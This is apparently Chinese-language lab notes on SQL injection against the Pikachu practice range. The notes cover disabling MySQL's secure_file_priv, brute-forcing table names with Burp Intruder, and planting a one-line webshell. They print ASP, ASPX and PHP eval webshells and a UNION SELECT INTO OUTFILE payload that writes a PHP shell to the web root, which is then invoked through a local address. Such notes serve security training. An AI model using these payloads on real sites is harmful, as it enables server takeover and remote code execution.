1.关于演示中出现的问题的解决方案
一、数据库开启secure_file_priv
into outfile 可以将select的结果写入到指定目录的txt中,但需要数据库开启secure_file_priv。这里来演示怎么开启secure_file_priv。
登陆mysql输入 show global variables like '%secure%';
(这里已经将secure_file_priv的值设为空,但正常显示为NULL和文件路径),显示这个界面来查看secure_file_priv的值。
为了修改secure_file_priv的值,打开my.cnf
或 my.ini
(这两个文件通常是隐藏的,需要打开查看隐藏文件),添加一行 secure_file_priv=' '
(将secure_file_priv的值设为空,之后就不限制mysqld在任意目录的导入导出)。重启mysql,输入show global variables like '%secure%';
查看secure_file_priv的值。
2.sqli进行服务器的远程控制案例测试
一句话木马
一句话木马是一种短小而精悍的木马客户端,隐藏性号,且功能强大。
asp:<%eval request ("chopper")%>
aspx:<%@ Page Language="Jscript"%> <%eval(Request.Item["chopper"],"unsafe");%>
php:<?php @eval($_POST['chopper']);?>
使用into outfile需要有以下条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启secure_file_priv
输入kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
将文件传入后
在打开新网页输入http://192.168.1.15/1.php?test=phpinfo();
就能查看爆破出来的信息
3.SQLInject漏洞的暴力破解
设置payload vince' and exists (select * from aa)#
到pikachu下输入。
在BrupSuite下找到对应的GET请求发送到Intruder下,和之前的方法一样,Clear所以变量后,将aa设为变量。再设置好payload(正常情况下是放自己的字典),并将Grep-Match下的信息清除,添加字符doesn’t exist。
点击攻击,没有被勾选的就是爆破出的表名